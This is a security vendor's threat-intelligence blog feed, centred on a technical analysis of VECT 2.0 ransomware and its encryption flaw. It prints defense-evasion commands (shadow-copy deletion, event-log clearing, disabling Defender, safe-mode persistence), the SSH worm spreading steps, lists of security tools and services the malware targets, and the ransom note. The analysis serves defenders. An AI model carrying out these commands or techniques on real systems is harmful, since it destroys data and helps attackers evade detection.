  • LiteLLM proxy versions 1.81.16 to 1.83.6 are affected by CVE-2026-42208, a critical SQL injection flaw used to manage large language model API keys. Attackers can read and potentially alter the proxy database, with exploitation attempts observed about 36 hours after disclosure.

Check Point IPS provides protection against this threat (LiteLLM SQL Injection (CVE-2026-42208))

 

THREAT INTELLIGENCE REPORTS

  • Check Point Research has revealed that the VECT 2.0 ransomware effectively acts as a data wiper across Windows, Linux, and ESXi. A critical encryption mistake discards required decryption information for files larger than 128 KB, making recovery impossible even after payment.

Check Point Threat Emulation and Harmony Endpoint provide protection against this threat

  • Researchers analyzed a Mirai-based botnet campaign targeting Brazilian internet providers, abusing TP-Link Archer AX21 routers via CVE-2023-1389 and open DNS servers for high-volume amplification attacks. Leaked files linked control activity to infrastructure and SSH keys associated with DDoS mitigation firm Huge Networks.
  • Researchers uncovered a large-scale phishing campaign, dubbed AccountDumpling, that abuses Google AppSheet email services to hijack Facebook accounts. The operation was linked to Vietnam based attackers and is using cloned support pages, reward lures, and live 2FA collection, compromising over 30,000 users and monetizing stolen access through Telegram.
  • Researchers documented a TeamPCP supply chain campaign that compromised four SAP npm packages used in cloud development workflows. The malicious installers harvested developer and cloud credentials across GitHub, npm, and major providers, enabling propagation and downstream compromises before the packages were removed.

 

The post 4th May – Threat Intelligence Report appeared first on Check Point Research.

  •  

VECT: Ransomware by design, Wiper by accident

Key Takeaways

  • Check Point Research discovers that the VECT 2.0 ransomware permanently destroys “large files” rather than encrypting them. A critical flaw in the encryption implementation, identical across all three platform variants (Windows, Linux, ESXi), discards three of four decryption nonces for every file above 131,072 bytes (128 KB). Full recovery is impossible for anyone, including the attacker. At a threshold of only 128 KB, this effectively makes VECT a wiper for virtually any file containing meaningful data, enterprise assets such as VM disks, databases, documents and backups included. CPR confirmed this flaw is present across all publicly available VECT versions.
  • The cipher is misidentified in public reporting. VECT uses raw ChaCha20-IETF (RFC 8439) with no authentication, not ChaCha20-Poly1305 AEAD as claimed in several widely cited threat intelligence reports (and VECT’s initial advertisement). There is no Poly1305 MAC and no integrity protection.
  • Advertised encryption speed modes are not implemented. The --fast, --medium, and --secure flags present across Linux and ESXi variants are parsed and then silently ignored. Every execution applies identical hardcoded thresholds regardless of operator selection.
  • Three platforms, one flawed engine: Windows, Linux, and ESXi variants share an identical encryption design built on libsodium, with the same file-size thresholds, the same four-chunk logic, and the same nonce-handling flaw throughout, confirming a single codebase ported across platforms.
  • Professional facade, amateur execution: beyond the nonce flaw, CPR identified multiple additional bugs and design failures across all variants, from self-cancelling string obfuscation and permanently unreachable anti-analysis code, to a thread scheduler that actively degrades the encryption performance it meant to improve.

Background

VECT Ransomware is a Ransomware-as-a-Service (RaaS) program that made its first appearance in December 2025 on a Russian-language cybercrime forum. After claiming their first two victims in January 2026, the group got back into the public eye due to an announcement of a partnership with TeamPCP, the actor behind several supply-chain attacks in March 2026. These attacks injected malware into popular software packages such as Trivy, Checkmarx’ KICS, LiteLLM and Telnyx, affecting a large base of downstream consumers. Shortly after these attacks made headlines, VECT made a post on BreachForums, announcing their partnership with TeamPCP, with the goal to exploit the companies affected by those supply chain attacks.

Figure 1: Announcement of partnership with BreachForums and TeamPCP.

In addition, VECT announced a partnership with BreachForums itself, promising that every registered forum user will become an affiliate and thus be able to use the VECT ransomware, negotiation platform and leak site for operations. Traditionally, most ransomware groups allow affiliates to join either based on reputation or through paying a fee. As of April 2026, this partnership is in full effect:

Figure 2: Partnership release page on BreachForums.
Figure 3: Distribution of access keys to all members of BreachForums via a forum private message.

While these actions show an ambitious project, the group’s current leak site only lists two victims, both originating from the TeamPCP supply chain attacks:

Figure 4: VECT darknet leak site.

The VECT Ransomware is written in C++ and, with version 2.0 released in February 2026, VECT supports Windows and Linux hosts as well as ESXi hypervisors. The group claims to have built all three lockers from scratch. Additionally, a forum post mentions that dedicated “Cloud Lockers”, likely targeting various cloud storage services, will be made available for affiliates that will prove their skills through a quiz or puzzle challenge in the near future.

Introduction: Ransomware Analysis Overview

Through an account on BreachForums, Check Point Research got access to the panel and ransomware builder. Here, an affiliate has the option to build three different payloads: Windows, Linux and ESXi (as well as a dedicated tool for data exfiltration, which is not yet available at the time of writing):

Figure 5: VECT builder panel.

Check Point Research analyzed all three payloads, uncovering various flaws and oversights – revealing that, behind the professional facade, VECT ransomware is not a technically sophisticated service.

Ransomware Cross-Platform Overview

As detailed in the following sections, VECT 2.0 targets Windows, Linux, and VMware ESXi through three distinct variants built on a shared codebase. While platform-specific disruption logic differs, the core encryption engine is identical across all three, a design decision that ensures the flaw described in the next section affects every supported platform equally.

All three variants are statically compiled C++ executables embedding the libsodium cryptographic library, accept operator-supplied command-line flags, support lateral movement, and produce an identical on-disk encrypted file format. The table below summarizes the key properties across all three variants.

PropertyWindowsLinuxESXi
ArchitecturePE64 (x86-64)ELF64 (x86-64)ELF64 (x86-64)
ToolchainMinGW-w64 / C++GCC / C++GCC / C++
Crypto librarylibsodium (static)libsodium (static)libsodium (static)
CipherChaCha20-IETF (RFC 8439)ChaCha20-IETF (RFC 8439)ChaCha20-IETF (RFC 8439)
Key size32 bytes32 bytes32 bytes
Nonce size12 bytes12 bytes12 bytes
Small file threshold131,072 bytes131,072 bytes131,072 bytes
Large file chunks444
Chunk offset formulafile_size / 4 × indexfile_size / 4 × indexfile_size / 4 × index
Max chunk size32,768 bytes32,768 bytes32,768 bytes
Nonces written to disk1 (last chunk only)1 (last chunk only)1 (last chunk only)
Encrypted extension.vect.vect.vect
Ransom note filename!!!READ_ME!!!.txt!!!READ_ME!!!.txt!!!READ_ME!!!.txt
Default target pathAll drives//vmfs/volumes
Lateral movementWMI / DCOM / SMB / SC / Schtasks / PSRemotingSSH / SCPSSH / SCP
Geofencing / CIS bypassNoYes (locale + timezone)Yes (locale + timezone)
Anti-debugProcess scan + kernel object queryTracerPid checkTracerPid check
Encryption mode flagsN/AParsed, not implementedParsed, not implemented

Nonce Flaw – “Large File” Destruction

Correct Cryptographic Identification

Before describing the flaw, a correction to existing public reporting is warranted. Several published analyses describe VECT’s encryption as ChaCha20-Poly1305 AEAD. This is incorrect as we confirmed that all three versions (Windows, Linux, ESXi) use the raw, unauthenticated ChaCha20 stream cipher in its IETF variant (RFC 8439) via libsodium’s crypto_stream_chacha20_ietf_xor. The _ietf designation refers specifically to the standardized 96-bit (12-byte) nonce and 32-bit counter parameterization distinct from Bernstein’s original 64-bit nonce form.

The ChaCha20-Poly1305 AEAD construction appends a 16-byte Poly1305 authentication tag to each ciphertext. No such tag exists in any VECT-encrypted file. The on-disk format contains only raw ciphertext followed by a 12-byte nonce – no MAC, no integrity protection, no authenticated encryption of any kind.

Figure 6: VECT’s per-chunk encryption helper – 12-byte nonce is generated by randombytes() and passed directly into crypto_stream_chacha20_ietf_xor.

This misattribution likely stems from researchers trusting the threat actors’ own initial forum advertisement where VECT themselves incorrectly named the encryption scheme they use.

Figure 7: VECT initial forum advertisement – incorrect naming of the encryption scheme.

Overview

All three VECT 2.0 variants share a critical implementation flaw that causes any file larger than 131,072 bytes (128 KB, smaller even than a simple document) to be permanently and irrecoverably destroyed rather than encrypted for later decryption. The malware encrypts four independent chunks of each ”large file” using four freshly generated random 12-byte nonces, but appends only the final nonce to the specific encrypted file on disk. The first three nonces, each required to decrypt its respective chunk, are generated, used, and silently discarded. They are never stored on disk, in the registry, or transmitted to the operator.

Because ChaCha20-IETF requires both the 32-byte key and the exact matching 12-byte nonce to reverse each chunk, the first three quarters of every large file are unrecoverable by anyone including the ransomware operator who cannot provide a working decryption tool even after ransom payment. Since the vast majority of operationally critical files exceed this “large-size” threshold, VECT 2.0 functions in practice as a data wiper with a ransomware facade.

Small File Processing

For files not exceeding 131,072 bytes (128 KB), the entire content is encrypted in a single pass. One 12-byte nonce is generated, used to encrypt the full file in-place, and appended to the end of the file. The resulting on-disk layout is:

[ ChaCha20-IETF ciphertext - full file ][ nonce - 12 bytes ]

For this size class, the format is internally consistent and the appended nonce is sufficient to reverse the single encryption pass. These files are fully decryptable.

Figure 8: Small file processing (single ChaCha20-IETF pass, 12-byte nonce appended at EOF).

Large File Processing – The Flaw

For files exceeding 131,072 bytes (128 KB), VECT divides the file into four chunks at quarter-file offsets derived from the file size:

  • Quarter size: file size divided by 4
  • Chunk start offsets: 0, ¼, ½, ¾ of the file
  • Chunk size per offset: up to 32,768 bytes (32 KB), or the remaining file length if shorter

The encryption loop processes each chunk in sequence. The per-chunk encryption helper is called once per iteration and on every call it generates a fresh cryptographically random 12-byte nonce via libsodium’s randombytes(), writing it into a single shared output buffer passed by the caller.

Figure 9: The per-chunk encryption helper.

Because all four calls receive the same buffer address, each new nonce overwrites the previous one. After the loop completes, only the nonce from the fourth/final chunk remains in the buffer and this is the only nonce appended to the file.

Figure 10: Large file processing (4 chunks encrypted with 4 unique nonces; a single nonce appended at EOF).

The three discarded nonces are outputs of randombytes() (which on Windows internally resolves to SystemFunction036 / RtlGenRandom in advapi32.dll, forwarding to ProcessPrng in bcryptprimitives.dll; on Linux and ESXi it reads from the kernel CSPRNG via getrandom() or /dev/urandom through libsodium’s safe_read()), cryptographically unpredictable values that are never stored anywhere after the buffer is overwritten. There is no sidecar file, no registry entry, and no network exfiltration of nonce material in any of the three variants.

Cross-Platform Confirmation

The flaw is structurally identical across all three platform variants. In each case, the per-chunk encryption helper generates a fresh random nonce on every call and writes it into the same caller-supplied 12-byte buffer; all four iterations of the loop share this buffer; and a single 12-byte write to the end of the file follows the loop.

The ESXi variant also performs a zero-block check before each encryption call, where chunks consisting entirely of zero bytes are skipped (an optimization for sparse VMDK files). This does not affect the nonce flaw; the shared buffer is still overwritten on each non-skipped call and only the final surviving nonce reaches disk.

The flaw predates VECT 2.0. CPR’s analysis of an older ESXi variant identified in the wild prior to the 2.0 release confirms the identical four-chunk loop, quarter-offset calculation, shared nonce buffer, and single EOF nonce write – unchanged from the operator’s first publicly observed deployment through every known release.

Impact

File regionNonce on diskRecoverable
Small file ≤ 128 KB – full contentYes – appended at EOFFully
Large file – chunk at offset 0 (up to 32 KB)NoPermanently lost
Large file – chunk at offset ¼ (up to 32 KB)NoPermanently lost
Large file – chunk at offset ½ (up to 32 KB)NoPermanently lost
Large file – chunk at offset ¾ (up to 32 KB)Yes – appended at EOFLast chunk only
Large file – all bytes outside the four chunksN/A – not encryptedPlaintext, unchanged

Files commonly exceeding 128 KB span virtually everything from typical office documents, spreadsheets, and images to virtual machine disk images, database files, archives, and backups – precisely those most critical to business continuity and most targeted by ransomware operators. For this dominant file class, VECT 2.0 cannot function as recoverable ransomware; it is operationally a data wiper. Victims who pay the ransom cannot receive a functional decryptor for their most critical files – not because the operator is uncooperative, but because the nonces required for decryption no longer exist.

Windows Locker

The Windows variant targets local, removable, and network-accessible storage, renames encrypted files with the .vect extension, drops a ransom note and a branded desktop wallpaper, and executes defense-evasion, persistence, and lateral-movement routines. Of particular note is a comprehensive anti-analysis suite targeting 44 specific security and debugging tools, alongside a safe-mode persistence mechanism and multiple remote-execution methods for lateral spread.

Command-Line Interface and Default Behavior

The locker exposes the following operator options:

  -h, --help          Help
  -v, --verbose       Verbose output
  -p, --path <dir>    Target specific path
  -c, --creds <b64>   Override credentials
  --gpo               Enable GPO spread (default: on)
  --no-gpo            Disable GPO spread
  --mount             Enable network mount (default: on)
  --no-mount          Disable network mount
  --stealth           Enable self-delete (default: on)
  --no-stealth        Disable self-delete
  --force-safemode    Force safemode boot
Figure 11: VECT 2.0 Windows version – command-line arguments processing.

GPO spread, network mounting, and self-deletion are all on by default. An operator deploying without flags, for example via Group Policy or a remote execution primitive, activates the full impact chain automatically, including spread, hidden volume access, and post-execution cleanup.

File Encryption and Renaming

Each target file is renamed to append .vect before encryption. The file is then opened in-place and encrypted using the ChaCha20-IETF scheme described in the preceding section. The nonce flaw applies identically: files larger than 131,072 bytes (128 KB) lose the first three chunk nonces permanently, thus resulting in large file destruction rather than encryption.

The encryption engine spawns worker threads in a fixed 1:7 scanner-to-encryptor ratio derived from a CPU-count-tiered multiplier: ×8 for machines with up to 4 CPUs, ×6 for 5-8 CPUs, and ×4 beyond that, hard-capped at 256 total. On a typical 8-CPU target, this produces 6 scanner and 42 encryptor threads simultaneously competing for the same disk I/O channels – overkill by any measure, and a thread count that would make any seasoned ransomware developer laugh. Families like LockBit cap their pools at 1-2× CPU count for good reason; spawning six times as many threads as there are CPUs does not encrypt files faster; it simply means the operating system spends more time switching between threads than doing useful work. This is a textbook mistake made by developers who read about parallelism but skipped the part about profiling. The fact that it is shipped in a supposedly operational ransomware tool speaks volumes about the maturity of whoever is behind this project.

Figure 12: VECT 2.0 Windows version – 48 threads for 8-CPU target.

Ransom Note and Wallpaper

After encrypting each drive target, the locker drops !!!READ_ME!!!.txt, assembled from multiple decoded string fragments (see the ransom note in the Appendix). Then, it generates a replacement desktop wallpaper (dvm3_wall.bmp) that carries the VECT 2.0 brand banner, as shown in the image below.

Figure 13: The desktop wallpaper used by the VECT 2.0 Windows locker version.

Target Selection and Exclusions

Drive enumeration covers logical drives and network-mapped resources. The file selection logic skips the following to leave the operating system functional enough for the victim to access the payment portal:

Excluded directories: Windows, Windows.old, Boot, $Recycle.Bin, System Volume Information, Program Files, Program Files (x86), ProgramData

Excluded boot files: bootmgr, bootmgr.efi, bootmgfw.efi, bootsect.bak, boot.ini, ntldr

Excluded extensions: .exe, .dll, .sys

These represent the builder defaults; affiliates may configure additional exclusions at sample generation time.

Process and Service Disruption

When running with elevated privileges, the locker stops services via the Windows Service Control Manager and terminates the following processes to release file handles before encryption begins: sql.exe, oracle.exe, mysqld.exe, excel.exe, winword.exe, outlook.exe, firefox.exe, thunderbird.exe.

Unlike typical RaaS offerings where affiliates can customize kill lists, this list is hardcoded by the builder and cannot be modified at sample generation time.

Persistence and Safe-Mode Preparation

When --force-safemode is active, the locker executes bcdedit /set {default} safeboot minimal to configure the next boot into minimal safe mode, then writes its own executable path into the Windows registry under the safe-boot service load path with value "Service". This ensures the locker runs on the subsequent safe-mode boot, where the majority of security products are disabled. After completing execution, the boot configuration entry is removed to avoid persistent boot loops. Task Manager is also disabled via the registry for the duration of execution.

Lateral Movement

The locker contains multiple encoded remote-execution script templates enabling propagation to additional Windows hosts using operator-supplied credentials (--creds). Methods include: admin share file copy, Windows Credential Manager storage via cmdkey, WMI execution, DCOM/MMC application instantiation, remote scheduled task creation, remote service installation via sc.exe, and PowerShell remoting. Host discovery combines Windows domain enumeration with a local subnet sweep using network adapter information.

Anti-Analysis

The Windows variant implements three layered analyst-environment detection mechanisms. All three detection mechanisms are present in compiled form but are never invoked. The cross-reference analysis confirms zero call sites reach any of the three functionalities in this build. This is consistent with a conditional compilation flag that was left disabled at build time, and represents a meaningful gap: an analyst running this sample under any of the targeted tools will not trigger any evasive response.

No code obfuscation is applied, although the most operator-facing strings are concealed using a rotating 64-bit XOR scheme: each byte is XORed against the corresponding byte of a fixed 64-bit key, cycling through all eight key bytes.

Figure 14: An example XOR-based string decryption (Windows locker).
  • Running-process scan
    A full process snapshot is taken and each process name is compared against a hardcoded list of 44 analysis tools (originally 47, but we removed the duplicates), covering debuggers, import reconstructors, PE utilities, process monitors, network sniffers, and sandbox controllers (the full list of detected tools can be found in the Appendix section).
Figure 15: Detection of 44 analysis tools.
  • Parent process check
    The parent process image path is retrieved and matched against a list of debugging environments: devenv, windbg, x64dbg, x32dbg, ollydbg, ida. A process launched from any of these is treated as running under analysis.
  • Kernel debug-object query
    The Windows native API NtQueryInformationProcess is resolved dynamically from ntdll.dll at runtime avoiding static import detection and queried for the ProcessDebugObjectHandle information class. A non-null return indicates an attached debugger.

Defense Evasion and Cleanup

ActionMethod
Disable Windows DefenderSet-MpPreference via PowerShell disables realtime, behavior, IOAV, and script scanning
Delete shadow copiesvssadmin delete shadows /all /quiet
Clear event logswevtutil cl Application, Security, System, Windows PowerShell
Delete PowerShell historyPSReadLine\\ConsoleHost_history.txt
Delete recent file entries%APPDATA%\\Microsoft\\Windows\\Recent\\*
Self-deleteDelayed cmd /c with ping stall followed by forced deletion

ESXi Locker – The Hypervisor Ransomware

The ESXi variant of the VECT ransomware targets VMware ESXi hypervisors and employs geofencing and anti-debugging before disrupting various system services, wiping logs, and encrypting victim files, defaulting to the VMware File System mount point at /vmfs/volumes. The malware also supports SSH-based lateral movement, where the ransomware tries to use available credentials to connect to known SSH hosts.

Anti-Analysis and Geofencing

Before executing any malicious code, the ransomware employs two simple anti-analysis checks: First, it checks if it is running in a CIS state, and if so, exits without encryption. The malware runs timedatectl and compares the time zones against a blacklist and checks the LANG and LC_ALL environment variables, validating that the country code does not match one of the excluded countries.

Figure 16: Country code blacklist.

Before 2022 CIS checks were very common in RaaS malware. During the start of the Russo-Ukrainian war, most RaaS programs removed Ukraine from the CIS countries list. During recent years these checks have been largely removed from ransomware. VECT including such checks and even adding Ukraine to the list of exclusions is rather uncommon. Check Point Research has two theories regarding this observation: either this code was AI generated, where LLMs were trained with Ukraine being part of CIS or VECT used an old code base for their ransomware.

Additionally to these checks, the malware probes for the presence of a debugger by checking the value of TracerPid in /proc/self/status, exiting if any tracing process is found.

To obfuscate from basic static analysis, the authors decided to implement strings as stack strings. Some strings, most notably the different command line options, are additionally XORed with a single byte key:

Figure 17: XOR encrypted command line switches (ESXi variant).

Command-Line Interface and SSH lateral movement

The following command line options are available:

  --path <dir>       Target directory (default: /vmfs/volumes)
  --spread           Enable SSH lateral movement
  --fast             Fast mode: encrypt only 1MB
  --medium           Medium mode: encrypt 4 parts (64MB each)
  --secure           Secure mode: encrypt 100% (default)
  --no-kill-vms      Don't kill running VMs (encrypt only)
  --verbose          Enable verbose output
  --help             Show this help message

Operators can seemingly decide between three different encryption methods, --fast, --medium, and --secure, to find a tradeoff between speed and thoroughness of the encryption – however, the ransomware does not actually implement these different modes – the code parses them into variables, but they are never read back. Every execution, regardless of operator-selected flag, applies the same hardcoded thresholds: 131,072-byte large-file boundary and 32,768-byte maximum chunk size. The same goes for the Linux variant we describe further below.

If the --spread option is supplied, the malware tries to spread laterally like an SSH based worm:

  • All readable keys from the home and /root directories are extracted
  • /etc/ssh/ssh_config and ~/.ssh/config are read and parsed for any hostnames and corresponding usernames
  • All known_hosts files are zeroed out to avoid any host-key warnings
  • For each host, the locker tries to connect with each of the collected usernames as well as a hardcoded list of common usernames
  • If a connection succeeds, the malware copies itself over via scp and executes itself via ssh

Service Disruption, Log Wiping and Encryption

Before running any encryption, the malware makes sure to shut down any services that could hold any file locks or could otherwise interfere with the process. It starts by disabling the ESXi firewall via the esxcli utility, as well as specific firewall rulesets and shutting down various ESXi health monitoring processes:

Figure 18: The esxcli commands to disable the firewall and rulesets.

Afterwards, it proceeds with shutting down other services and processes, like databases, backup tools, Hypervisor related services and security products. Shutdown is either attempted gracefully, via systemctl stop and service stop, or aggressively via pkill -9 and systemctl disable --now . A full list of targeted services can be found in the Appendix.

To remove any locks from virtual machine disk files, the VECT locker invokes various legitimate administration utilities to shut down any running virtual machines. However, contrary to its name, the locker not only targets ESXi but also other common Hypervisors:

ToolHypervisor targeted
vmware-cmd / vmrunVMware products
VBoxManageOracle VirtualBox
virshlibvirt / KVM / QEMU
esxcliVMware ESXi
xm / xlXen Hypervisor

Next, various shell history files and logs in /var/log are removed or zeroed-out. This includes logs from hypervisors, container services, databases, web servers, audit logs or other system logs and journals (see the Appendix for a complete list).

After this prelude, the actual encryption process is kicked off: If no path is supplied, the default path of /vmfs/volumes is used, which is the default VMware File System (VMFS) mount point for all datastores. In a multi-threaded process, each datastore is searched for files to encrypt. The ransomware maintains a sensible blacklist, which excludes several directories hosting mainly executables, system files or config files:

/proc, /sys, /dev, /bin, /sbin, /lib64, /usr, /etc, /boot, /var/run, /var/lib, /bootbank, /altbootbank, /store, /locker, /vmfs/volumes/.sdd.sf, /vmfs/volumes/.fbb.sf, /vmfs/volumes/.fdc.sf, /vmfs/volumes/.pb, /vmfs/volumes/.vh

Again, the thread count is chosen rather excessively, by multiplying the amount of CPU cores by 4, clamping the value between a minimum of 32 and a maximum of 256.

By sharing a codebase with the other versions, see encryption process is the same and contains the same flaw in its implementation: it only includes the latest nonce when chunk-processing a big file:

Figure 19: Encryption flaw (ESXi version).

Finally, if the malware was configured to do so, the ransom note is dropped to /home, /root and /tmp, as well as in various system paths:

PathPurpose
/etc/motdLogin banner (message of the day)
/etc/issuePre-login system banner
/etc/issue.netNetwork login banner
/etc/profile.d/vector_notice.shShell script displaying the note, ran on shell login

Linux Locker

The Linux version is built on the same codebase as the ESXi and implements a subset of its functionality. This becomes apparent when comparing the execution flow of the main functions side-by-side:

Figure 20: Execution flow ESXi locker (left) vs. Linux locker (right).

Just like the ESXi version, the malware first kills any services and processes that could interfere with the encryption, shuts down any VMs (interestingly also including ESXi VMs) and wipes system logs and shell history files. Then, encryption is started, with the system root / as the default path and ransom notes are written to disk. The Linux locker, just like its ESXi counterpart, supports the --spread SSH lateral movement functionality. Due to the shared codebase, the locker also fails to save the first three nonces when encrypting large files, making fill recovery of big files impossible.

The Linux version also has another oversight in the implementation of the encryption. Just like in the ESXi locker, the command line flags are supposed to be encrypted, but the authors accidentally designed a double XOR encryption scheme, which cancels out the encryption and leads to plain text strings being present in the binary:

Figure 21: Double XOR “encryption”.

On a side note, even the ASCII art is broken because the developers forgot to escape the backslash characters:

Figure 22: Broken ASCII art.

Conclusion

VECT 2.0 presents an ambitious threat profile with multi-platform coverage, an active affiliate program, supply-chain distribution via the TeamPCP partnership, and a polished operator panel. In practice, the technical implementation falls significantly short of its presentation.

Check Point Research’s analysis reveals that the ransomware’s encryption flaw is not a minor edge case but a fundamental design error affecting virtually every file of consequence. At a threshold of only 128 KB, smaller than a typical email attachment or office document, what the code classifies as a large file encompasses not just VM disks, databases, and backups, but routine documents, spreadsheets, and mailboxes. In practice, almost nothing a victim would care to recover falls below this boundary.

The nonce-handling bug is identical across all three platform variants and as confirmed through analysis of an earlier variant identified in the wild prior to the VECT 2.0 release, has been present since the operator’s first publicly observed deployment. It has never been corrected. Victims who pay the ransom cannot receive a working decryptor for their largest files, not through operator deception, but because the information required for decryption was irrecoverably destroyed at the moment of encryption. An overly aggressive thread scheduler that actively harms encryption throughput, and three fully compiled but permanently unreachable anti-analysis routines, further reinforce this assessment: the authors know what features a professional ransomware tool should have, but demonstrably struggled to implement them correctly or at all.

Beyond the nonce flaw, CPR identified a pattern of incomplete implementation: advertised encryption modes that are parsed but never applied, string obfuscation routines that accidentally cancel themselves out, and a cipher incorrectly described in public reporting. Together these findings paint a picture of a group with operational ambition, reflected in the BreachForums open-affiliate model and the TeamPCP supply-chain campaign, but with cryptographic and software engineering maturity that does not match the scale of the operation they are attempting to run.

The announcement of forthcoming “Cloud Lockers” and the low technical barrier introduced by the open-affiliate model both warrant continued monitoring. As CPR has demonstrated, the current implementation has severe limitations but those can be corrected in a future version, and the distribution infrastructure to deploy such a version at scale already exists.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

SHA-256VECT Version
a7eadcf81dd6fda0dd6affefaffcb33b1d8f64ddec6e5a1772d028ef2a7da0f2ESXi
58e17dd61d4d55fa77c7f2dd28dd51875b0ce900c1e43b368b349e65f27d6fddESXi
e1fc59c7ece6e9a7fb262fc8529e3c4905503a1ca44630f9724b2ccc518d0c06Linux
8ee4ec425bc0d8db050d13bbff98f483fff020050d49f40c5055ca2b9f6b1c4dWindows
9c745f95a09b37bc0486bf0f92aad4a3d5548a939c086b93d6235d34648e683fWindows
e512d22d2bd989f35ebaccb63615434870dc0642b0f60e6d4bda0bb89adee27aWindows

Appendix

Analysis tools detected by Windows locker:

ollydbg.exex64dbg.exex32dbg.exewindbg.exe
x96dbg.exeida.exeida64.exeidag.exe
idag64.exeidaw.exeidaw64.exeidaq.exe
idaq64.exeimmunitydebugger.exeImportREC.exeMegaDumper.exe
scylla.exescylla_x64.exescylla_x86.exeprotection_id.exe
reshacker.exeResourceHacker.exeprocesshacker.exeprocexp.exe
procexp64.exeprocmon.exeprocmon64.exeautoruns.exe
autorunsc.exefilemon.exeregmon.exewireshark.exe
dumpcap.exehookexplorer.exePETools.exeLordPE.exe
SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exe
joeboxcontrol.exejoeboxserver.exefiddler.exehttpdebugger.exe

Services targeted by Linux/ESXi locker:

acronisacronis_agentaideamanda
avastavgBackupExecAgentbareos-fd
bitdefenderborgcarbonblackcassandra
cb-sensorchkrootkitclamavclamav-daemon
clamav-freshclamclamdcockroachconsul
couchdbcylanceesetetcd
falcon-sensorfreshclaminfluxdbkaspersky
kvmlibvirtdlynismariadb
mariadbdmcafeememcachedmongod
mongodbmysqlmysqldneo4j
ossecpostgrespostgresqlqemu
rclonerdiff-backupredisredis-server
resticrkhunterrsnapshotsentinelone
sophossymantecsyncthingtripwire
vboxaddVBoxClientvboxdrvVBoxHeadless
vboxserviceVBoxServiceveeamVeeamDeploymentSvc
virt-installvirt-managervmwarevmware-authd
vmware-hostdvmware-rawdiskCreatorvmware-trayvmware-usbarbitrator
vmware-uservmware-vmxvmware-vprobewazuh
wazuh-agentxenxenconsoledxend
xenstored

Logs targeted by Linux/ESXi locker:

Log files: /var/log/syslog, /var/log/messages, /var/log/debug, /var/log/secure, /var/log/auth.log, /var/log/kern.log, /var/log/daemon.log, /var/log/user.log, /var/log/mail.log, /var/log/mail.err, /var/log/cron.log, /var/log/boot.log, /var/log/dmesg, /var/log/faillog, /var/log/lastlog, /var/log/tallylog, /var/log/wtmp, /var/log/btmp, /var/log/utmp, /var/run/utmp

Rotate logs (Wildcards): /var/log/syslog.*, /var/log/messages.*, /var/log/auth.log.*, /var/log/auth.log*, /var/log/secure.*, /var/log/secure*, /var/log/kern.log.*, /var/log/*.gz, /var/log/*.1, /var/log/*.old, /var/log/cron*, /var/log/ufw.log*, /var/log/firewalld*, /var/log/audit/audit.log*, /var/log/dpkg.log*, /var/log/yum.log*, /var/log/dnf.log*, /var/log/apt/*, /var/log/cloud-init*.log

Application specific logs: /var/log/apache2/*, /var/log/httpd/*, /var/log/nginx/*, /var/log/mysql/*, /var/log/postgresql/*, /var/log/mongodb/*, /var/log/redis/*, /var/log/docker/*, /var/log/containers/*, /var/log/pods/*, /var/log/journal/*, /run/log/journal/*, /tmp/*.log, /var/tmp/*.log

Shell & command history files: .bash_history, .zsh_history, .mysql_history, .psql_history, .python_history, .lesshst, .viminfo , /root/.ash_history (ESXi locker only)

ESXi specific logs: /var/log/vmkernel.log, /var/log/vmkwarning.log, /var/log/vmksummary.log, /var/log/hostd.log, /var/log/vpxa.log, /var/log/fdm.log, /var/log/shell.log, /var/log/syslog, /var/log/vobd.log, /var/log/vmware/*

Ransom Note:

  !!! README !!!                                                                                                                                                                             
  
  ===============                                                                                                                                                                            
   :::     ::: :::::::::: :::::::: :::::::::::                                                                                                                                             
   :+:     :+: :+:       :+:    :+:    :+:                                                                                                                                                   
   +:+     +:+ +:+       +:+           +:+                                                                                                                                                   
   +#+     +:+ +#++:++#  +#+           +#+
    +#+   +#+  +#+       +#+           +#+
     #+#+#+#   #+#       #+#    #+#    #+#
       ###     ########## ########     ###
  ===============

  Dear Management, all of your files have been encrypted with ChaCha20 which is an unbreakable encryption algorithm.
  Sadly, this is not the only bad news for you. We have also exfiltrated your sensitive data, consisting mostly of databases, backups and other personal information
  from your company and will be published on our website if you do not cooperate with us.

  The only way to recover your files is to get the decryption tool from us.

  To obtain the decryption tool, you need to:
  1. Open Tor Browser and visit: <http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion/chat/REDACTED>
  2. Follow the instructions on the chat page
  3. Receive a sample decryption of up to 4 small files
  4. We will provide payment instructions
  5. After payment, you will receive decryption tool

  WARNING:
  - Do not modify encrypted files
  - Do not use third party software to restore files
  - Do not reinstall system

  If you violate these rules, your files will be permanently damaged.

  Files encrypted: [N]
  Total size: [size] bytes
  Unique ID: REDACTED

  Backup contact (Qtox): 1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B

The post VECT: Ransomware by design, Wiper by accident appeared first on Check Point Research.

  •  

27th April – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 27th April, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Vercel, a frontend cloud platform, has disclosed a security incident linked to a compromise at Context.ai, where stolen OAuth tokens enabled unauthorized access through a connected app. The company reported access to employee information, internal logs, and a subset of environment variables, while stating that the most sensitive secrets were not included.
  • France Titres, France’s authority for identity and registration documents, has detected a data breach on April 15. The incident may have exposed names, birth dates, email addresses, login IDs, and some physical addresses and phone numbers. A hacker has offered purported agency data for sale on the dark web.
  • UK Biobank, a UK research organization, has confirmed a breach after de-identified health data on 500,000 volunteers was advertised for sale on Chinese marketplaces. Officials said listings were removed and believed unsold, while access was suspended, the research platform was shut down, and download limits were imposed.
  • Bitwarden, a popular password manager, has suffered a supply-chain attack after a malware-tainted CLI release was published to npm on April 22. Bitwarden said 334 developers installed version 2026.4.0 during a brief window, potentially exposing credentials after a hijacked GitHub account was abused, while vault data remained unaffected.

AI THREATS

  • Researchers have flagged unauthorized access to Anthropic’s Claude Mythos Preview, an unreleased AI cyber model, through a third-party vendor environment. A small Discord group reportedly used shared contractor accounts, API keys, and predictable URLs to reach the system. Anthropic said it is investigating and has not seen impact to core systems.
  • Researchers observed Bissa Scanner, an AI-assisted exploitation platform using Claude Code and OpenClaw to support mass scanning, exploitation, and credential harvesting. The focus of the operation was exploitation of React2Shell (CVE-2025-55182), while it scanned millions of targets, confirmed over 900 compromises, and collected tens of thousands of exposed environment files.
